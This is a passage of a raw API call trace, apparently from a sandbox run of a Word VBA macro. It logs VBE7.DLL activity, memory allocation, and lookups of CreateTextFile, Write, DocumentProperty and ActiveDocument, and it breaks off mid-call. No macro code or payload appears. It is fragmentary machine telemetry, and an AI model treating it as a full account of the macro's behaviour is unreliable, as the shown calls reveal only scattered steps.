_Dst="VBE7.DLL") returned 0x0 [0053.601] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124a70, pbstrName=0x0, pwOrdinal=0x124a90 | out: pBstrDllName=0x124a70*=0x0, pbstrName=0x0, pwOrdinal=0x124a90*=0x4d00) returned 0x0 [0053.601] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124a70, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124a70, pwOrdinal=0x500000000) returned 0x0 [0053.601] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e98b0 [0053.602] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.602] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.602] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.602] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.602] GetCurrentProcess () returned 0xffffffffffffffff [0053.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x4b) returned 1 [0053.602] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.602] IMalloc:Realloc (This=0x7feffc15380, pv=0x663f290, cb=0x60) returned 0x69a0ea0 [0053.602] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b0000 [0053.603] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e9d00 [0053.603] wcscpy_s (in: _Destination=0x69f1498, _SizeInWords=0xf, _Source="CreateTextFile" | out: _Destination="CreateTextFile") returned 0x0 [0053.604] wcscpy_s (in: _Destination=0x69f16f0, _SizeInWords=0x6, _Source="Write" | out: _Destination="Write") returned 0x0 [0053.604] wcscpy_s (in: _Destination=0x69f1930, _SizeInWords=0x6, _Source="Close" | out: _Destination="Close") returned 0x0 [0053.604] IMalloc:Realloc (This=0x7feffc15380, pv=0x291f90, cb=0x800) returned 0x6444620 [0053.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02eda, cbMultiByte=17, lpWideCharStr=0x124c70, cchWideChar=18 | out: lpWideCharStr="DocumentProperty") returned 17 [0053.604] ITypeComp:RemoteBindType (in: This=0x677d9d0, szName="DocumentProperty", lHashVal=0x105626, ppTInfo=0x124c28 | out: ppTInfo=0x124c28*=0x0) returned 0x0 [0053.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02eda, cbMultiByte=17, lpWideCharStr=0x124c70, cchWideChar=18 | out: lpWideCharStr="DocumentProperty") returned 17 [0053.604] ITypeComp:RemoteBindType (in: This=0x677aa00, szName="DocumentProperty", lHashVal=0x105626, ppTInfo=0x124c28 | out: ppTInfo=0x124c28*=0x0) returned 0x0 [0053.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02eda, cbMultiByte=17, lpWideCharStr=0x124c70, cchWideChar=18 | out: lpWideCharStr="DocumentProperty") returned 17 [0053.604] ITypeComp:RemoteBindType (in: This=0x677acd0, szName="DocumentProperty", lHashVal=0x105626, ppTInfo=0x124c28 | out: ppTInfo=0x124c28*=0x0) returned 0x0 [0053.604] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DocumentProperty") returned 0x105626 [0053.605] strcpy_s (in: _Dst=0x124bd0, _DstSize=0x11, _Src="DocumentProperty" | out: _Dst="DocumentProperty") returned 0x0 [0053.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124bd0, cbMultiByte=17, lpWideCharStr=0x124a20, cchWideChar=17 | out: lpWideCharStr="DocumentProperty") returned 17 [0053.605] IUnknown:AddRef (This=0x677d9c0) returned 0xa [0053.605] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="DocumentProperty", lHashVal=0x105626, pfName=0x124af0, pBstrLibName=0x124a20 | out: pfName=0x124af0*=0, pBstrLibName=0x124a20) returned 0x0 [0053.605] IUnknown:Release (This=0x677d9c0) returned 0x9 [0053.605] IUnknown:AddRef (This=0x677a9f0) returned 0x14 [0053.605] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="DocumentProperty", lHashVal=0x105626, pfName=0x124af0, pBstrLibName=0x124a20 | out: pfName=0x124af0*=0, pBstrLibName=0x124a20) returned 0x0 [0053.605] IUnknown:Release (This=0x677a9f0) returned 0x13 [0053.605] IUnknown:AddRef (This=0x677acc0) returned 0x9 [0053.605] ITypeLib:RemoteIsName (in: This=0x677acc0, szNameBuf="DocumentProperty", lHashVal=0x105626, pfName=0x124af0, pBstrLibName=0x124a20 | out: pfName=0x124af0*=0, pBstrLibName=0x124a20) returned 0x0 [0053.605] IUnknown:Release (This=0x677acc0) returned 0x8 [0053.605] IUnknown:AddRef (This=0x677dc90) returned 0x7 [0053.605] ITypeLib:RemoteIsName (in: This=0x677dc90, szNameBuf="DocumentProperty", lHashVal=0x105626, pfName=0x124af0, pBstrLibName=0x124a20 | out: pfName=0x124af0*=1, pBstrLibName=0x124a20) returned 0x0 [0053.605] IUnknown:Release (This=0x677dc90) returned 0x6 [0053.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DocumentProperty", cchWideChar=-1, lpMultiByteStr=0x124bd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DocumentProperty", lpUsedDefaultChar=0x0) returned 17 [0053.605] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DocumentProperty") returned 0x105626 [0053.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02eda, cbMultiByte=17, lpWideCharStr=0x124c70, cchWideChar=18 | out: lpWideCharStr="DocumentProperty") returned 17 [0053.605] ITypeComp:RemoteBindType (in: This=0x677dca0, szName="DocumentProperty", lHashVal=0x105626, ppTInfo=0x124c28 | out: ppTInfo=0x124c28*=0x69fd518) returned 0x0 [0053.605] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124c30, pDummy=0x3a00 | out: ppTypeAttr=0x124c30, pDummy=0x3a00) returned 0x0 [0053.605] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.605] IUnknown:AddRef (This=0x69fd518) returned 0x2 [0053.605] IUnknown:Release (This=0x69fd518) returned 0x1 [0053.605] IUnknown:AddRef (This=0x69fd518) returned 0x2 [0053.605] IMalloc:Realloc (This=0x7feffc15380, pv=0x6992410, cb=0x200) returned 0x6910200 [0053.605] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124e20 | out: ppvObject=0x124e20*=0x0) returned 0x80004002 [0053.605] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124df0 | out: ppvObject=0x124df0*=0x0) returned 0x80004002 [0053.605] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124de0 | out: ppvObject=0x124de0*=0x0) returned 0x80004002 [0053.605] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124de8 | out: ppvObject=0x124de8*=0x0) returned 0x80004002 [0053.605] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124e18, pDummy=0x10 | out: ppTypeAttr=0x124e18, pDummy=0x10) returned 0x0 [0053.605] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.605] IUnknown:AddRef (This=0x69fd518) returned 0x3 [0053.605] IUnknown:Release (This=0x69fd518) returned 0x2 [0053.605] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125378 | out: ppvObject=0x125378*=0x0) returned 0x80004002 [0053.605] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b42aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125250 | out: ppvObject=0x125250*=0x0) returned 0x80004002 [0053.605] IUnknown:Release (This=0x69fd518) returned 0x2 [0053.605] IUnknown:Release (This=0x69fd518) returned 0x2 [0053.606] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ActiveDocument") returned 0x105cd3 [0053.606] strcpy_s (in: _Dst=0x124f00, _DstSize=0xf, _Src="ActiveDocument" | out: _Dst="ActiveDocument") returned 0x0 [0053.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124f00, cbMultiByte=15, lpWideCharStr=0x124d50, cchWideChar=15 | out: lpWideCharStr="ActiveDocument") returned 15 [0053.606] IUnknown:AddRef (This=0x677d9c0) returned 0xa [0053.606] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="ActiveDocument", lHashVal=0x105cd3, pfName=0x124e20, pBstrLibName=0x124d50 | out: pfName=0x124e20*=0, pBstrLibName=0x124d50) returned 0x0 [0053.606] IUnknown:Release (This=0x677d9c0) returned 0x9 [0053.606] IUnknown:AddRef (This=0x677a9f0) returned 0x14 [0053.606] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="ActiveDocument", lHashVal=0x105cd3, pfName=0x124e20, pBstrLibName=0x124d50 | out: pfName=0x124e20*=1, pBstrLibName=0x124d50) returned 0x0 [0053.606] IUnknown:Release (This=0x677a9f0) returned 0x13 [0053.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ActiveDocument", cchWideChar=-1, lpMultiByteStr=0x124f00, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ActiveDocument", lpUsedDefaultChar=0x0) returned 15 [0053.606] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ActiveDocument") returned 0x105cd3 [0053.606] IUnknown:Release (This=0x68569a0) returned 0x3 [0053.606] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2c2e, cbMultiByte=15, lpWideCharStr=0x124e80, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0053.606] ITypeComp:RemoteBind (in: This=0x68569a8, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02f0e, cbMultiByte=15, lpWideCharStr=0x124fe0, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0053.606] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x124f98, pDescKind=0x124fac, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124f98*=0x0, pDescKind=0x124fac*=0, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02f0e, cbMultiByte=15, lpWideCharStr=0x124fe0, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0053.606] ITypeComp:RemoteBind (in: This=0x677aa00, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x124f98, pDescKind=0x124fac, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124f98*=0x6856688, pDescKind=0x124fac*=4, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.607] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856688, ppTypeAttr=0x124fa0, pDummy=0x6 | out: ppTypeAttr=0x124fa0, pDummy=0x6) returned 0x0 [0053.607] ITypeInfo:LocalReleaseTypeAttr (This=0x6856688) returned 0x0 [0053.607] ITypeInfo:GetRefTypeInfo (in: This=0x6856688, hreftype=0xbd80, ppTInfo=0x124a88 | out: ppTInfo=0x124a88*=0x6856688) returned 0x0 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124c58 | out: ppvObject=0x124c58*=0x0) returned 0x80004002 [0053.607] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856688, ppTypeAttr=0x124ad8, pDummy=0x10 | out: ppTypeAttr=0x124ad8, pDummy=0x10) returned 0x0 [0053.607] ITypeInfo:LocalReleaseTypeAttr (This=0x6856688) returned 0x0 [0053.607] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50870, cb=0x20) returned 0x66d4450 [0053.607] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a508d0, cb=0x28) returned 0x66d3e80 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1247e0 | out: ppvObject=0x1247e0*=0x0) returned 0x80004002 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1247d0 | out: ppvObject=0x1247d0*=0x0) returned 0x80004002 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1247d8 | out: ppvObject=0x1247d8*=0x0) returned 0x80004002 [0053.607] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856688, ppTypeAttr=0x124808, pDummy=0x10 | out: ppTypeAttr=0x124808, pDummy=0x10) returned 0x0 [0053.607] ITypeInfo:LocalReleaseTypeAttr (This=0x6856688) returned 0x0 [0053.607] IUnknown:AddRef (This=0x6856688) returned 0x3 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124980 | out: ppvObject=0x124980*=0x0) returned 0x80004002 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124978 | out: ppvObject=0x124978*=0x0) returned 0x80004002 [0053.607] IUnknown:Release (This=0x6856688) returned 0x2 [0053.607] IMalloc:Realloc (This=0x7feffc15380, pv=0x6992520, cb=0x200) returned 0x6911490 [0053.607] IUnknown:Release (This=0x6856688) returned 0x2 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124e88 | out: ppvObject=0x124e88*=0x0) returned 0x80004002 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b42aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124d60 | out: ppvObject=0x124d60*=0x0) returned 0x80004002 [0053.607] IUnknown:Release (This=0x6856688) returned 0x2 [0053.607] IUnknown:AddRef (This=0x6856688) returned 0x3 [0053.607] ITypeInfo:LocalReleaseVarDesc (This=0x6856688) returned 0x0 [0053.607] IUnknown:Release (This=0x6856688) returned 0x2 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250c8 | out: ppvObject=0x1250c8*=0x0) returned 0x80004002 [0053.607] IUnknown:AddRef (This=0x6856688) returned 0x3 [0053.607] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125050 | out: ppvObject=0x125050*=0x0) returned 0x80004002 [0053.608] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125020 | out: ppvObject=0x125020*=0x0) returned 0x80004002 [0053.608] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125010 | out: ppvObject=0x125010*=0x0) returned 0x80004002 [0053.608] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125018 | out: ppvObject=0x125018*=0x0) returned 0x80004002 [0053.608] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856688, ppTypeAttr=0x125048, pDummy=0x10 | out: ppTypeAttr=0x125048, pDummy=0x10) returned 0x0 [0053.608] ITypeInfo:LocalReleaseTypeAttr (This=0x6856688) returned 0x0 [0053.608] IUnknown:AddRef (This=0x6856688) returned 0x4 [0053.608] IUnknown:Release (This=0x6856688) returned 0x3 [0053.608] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125238 | out: ppvObject=0x125238*=0x0) returned 0x80004002 [0053.608] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125230 | out: ppvObject=0x125230*=0x0) returned 0x80004002 [0053.609] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1253e8 | out: ppvObject=0x1253e8*=0x0) returned 0x80004002 [0053.609] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1253f0 | out: ppvObject=0x1253f0*=0x0) returned 0x80004002 [0053.609] ITypeInfo:GetTypeComp (in: This=0x6856738, ppTComp=0x1253f8 | out: ppTComp=0x1253f8*=0x6856740) returned 0x0 [0053.609] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f290 [0053.609] IUnknown:AddRef (This=0x6856740) returned 0x3 [0053.609] IUnknown:Release (This=0x6856740) returned 0x2 [0053.609] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a804b0, cb=0x90) returned 0x69b6390 [0053.609] IUnknown:Release (This=0x6856738) returned 0x1 [0053.609] IUnknown:Release (This=0x6856688) returned 0x3 [0053.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02f0e, cbMultiByte=15, lpWideCharStr=0x124ee0, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0053.609] ITypeComp:RemoteBind (in: This=0x6856740, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x124e98, pDescKind=0x124eac, ppFuncDesc=0x124eb0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e98*=0x6856738, pDescKind=0x124eac*=1, ppFuncDesc=0x124eb0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.609] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x124ea0, pDummy=0x1 | out: ppTypeAttr=0x124ea0, pDummy=0x1) returned 0x0 [0053.609] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.609] ITypeInfo:GetRefTypeInfo (in: This=0x6856738, hreftype=0xbf00, ppTInfo=0x124758 | out: ppTInfo=0x124758*=0x68568f0) returned 0x0 [0053.609] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124928 | out: ppvObject=0x124928*=0x0) returned 0x80004002 [0053.609] ITypeInfo:RemoteGetTypeAttr (in: This=0x68568f0, ppTypeAttr=0x1247a8, pDummy=0x10 | out: ppTypeAttr=0x1247a8, pDummy=0x10) returned 0x0 [0053.609] ITypeInfo:LocalReleaseTypeAttr (This=0x68568f0) returned 0x0 [0053.609] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1244b0 | out: ppvObject=0x1244b0*=0x0) returned 0x80004002 [0053.609] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1244a0 | out: ppvObject=0x1244a0*=0x0) returned 0x80004002 [0053.609] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1244a8 | out: ppvObject=0x1244a8*=0x0) returned 0x80004002 [0053.609] ITypeInfo:RemoteGetTypeAttr (in: This=0x68568f0, ppTypeAttr=0x1244d8, pDummy=0x10 | out: ppTypeAttr=0x1244d8, pDummy=0x10) returned 0x0 [0053.609] ITypeInfo:LocalReleaseTypeAttr (This=0x68568f0) returned 0x0 [0053.609] IUnknown:AddRef (This=0x68568f0) returned 0x3 [0053.609] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124650 | out: ppvObject=0x124650*=0x0) returned 0x80004002 [0053.609] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124648 | out: ppvObject=0x124648*=0x0) returned 0x80004002 [0053.609] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.609] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x124c50, pDummy=0x0 | out: ppTypeAttr=0x124c50, pDummy=0x0) returned 0x0 [0053.609] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.609] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.609] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124d00 | out: ppvObject=0x124d00*=0x6856738) returned 0x0 [0053.610] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x6856738, memid=3, invkind=2, pFuncIndex=0x124d40 | out: pFuncIndex=0x124d40*=0x6) returned 0x0 [0053.610] ITypeInfo2:GetFuncCustData (in: This=0x6856738, index=0x6, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124d58 | out: pVarVal=0x124d58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x124e00, varVal2=0x697b488)) returned 0x0 [0053.610] IUnknown:Release (This=0x6856738) returned 0x2 [0053.610] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124cb8 | out: ppvObject=0x124cb8*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b42aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124b90 | out: ppvObject=0x124b90*=0x0) returned 0x80004002 [0053.610] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.610] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124cb8 | out: ppvObject=0x124cb8*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b42aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, 